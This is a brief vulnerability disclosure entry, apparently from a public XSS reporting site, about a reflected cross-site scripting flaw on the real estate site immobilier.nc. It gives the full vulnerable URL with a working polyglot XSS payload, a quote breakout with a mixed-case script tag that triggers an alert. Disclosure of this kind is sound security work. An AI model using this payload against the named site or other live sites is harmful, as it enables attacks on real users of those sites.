immobilier.nc XSS vulnerability

Vulnerable URL: http://immobilier.nc/recherche?section=offreslocation=location=%27;alert/XSSPOSED///%27;alert/XSSPOSED///%22;alert/XSSPOSED///%22;alert/XSSPOSED///--%3E%3C/sCRipT%3E%22%3E%27%3E%3CsCRipT%3Ealert/XSSPOSED/%3C/sCRipT%3Evente==nc=noum%C3%A9a=page=25==DESCoption= Details: Description|...